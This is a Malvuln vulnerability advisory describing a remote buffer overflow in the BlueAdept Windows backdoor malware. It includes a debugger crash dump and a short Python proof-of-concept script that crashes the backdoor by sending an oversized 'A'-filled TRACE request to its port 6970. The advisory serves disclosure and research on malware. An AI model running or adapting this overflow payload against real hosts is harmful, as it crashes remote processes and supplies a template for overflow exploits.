Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/694d21679cc212c59515584d1b65dc84.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BlueAdept.02.a Vulnerability: Remote Buffer Overflow Description: The malware listens on TCP port 6969, after connecting to the infected host TCP ports 6970, 6971 are then opened. The newly opened port 6970 is vulnerable allowing third party attackers who can reach an infected host ability to trigger a buffer overflow overwriting EAX, ECX and EDX registers. Type: PE32 MD5: 694d21679cc212c59515584d1b65dc84 Vuln ID: MVID-2021-0408 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 11/21/2021 Memory Dump: (1a34.157c): Access violation - code c0000005 (first/second chance not available) eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610 eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 *** WARNING: Unable to verify checksum for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62: 00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> .ecxr eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014 edi=0045e610 eip=00401c62 esp=000a141c ebp=0045e614 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62: 00401c62 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 00401c62 8902 mov dword ptr [edx],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00401c62 (Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x00001c62) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141 Attempt to write to address 41414141 PROCESS_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 00401c62 8902 mov dword ptr [edx],eax MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 0000157c BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 0423fffc The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 0423fffc to 00401c62 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0045e614 0423fffc 02563ae8 02561754 02561774 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62 00000000 00000000 00000000 00000000 00000000 0x423fffc SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84 IMAGE_NAME: Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=6969 PORT2=6970 #vuln port def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) time.sleep(1) print("[+] Opened vulnerable port!") s.close() PAYLOAD="TRACE /"+"A"*17558+ " HTTP/1.1\r\n\r\n" s2=socket(AF_INET, SOCK_STREAM) s2.connect((MALWARE_HOST, PORT2)) print("[+] Sending malicious packets!") for i in range(0, 10): s2.send(PAYLOAD) time.sleep(0.2) s2.close() if __name__=="__main__": doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).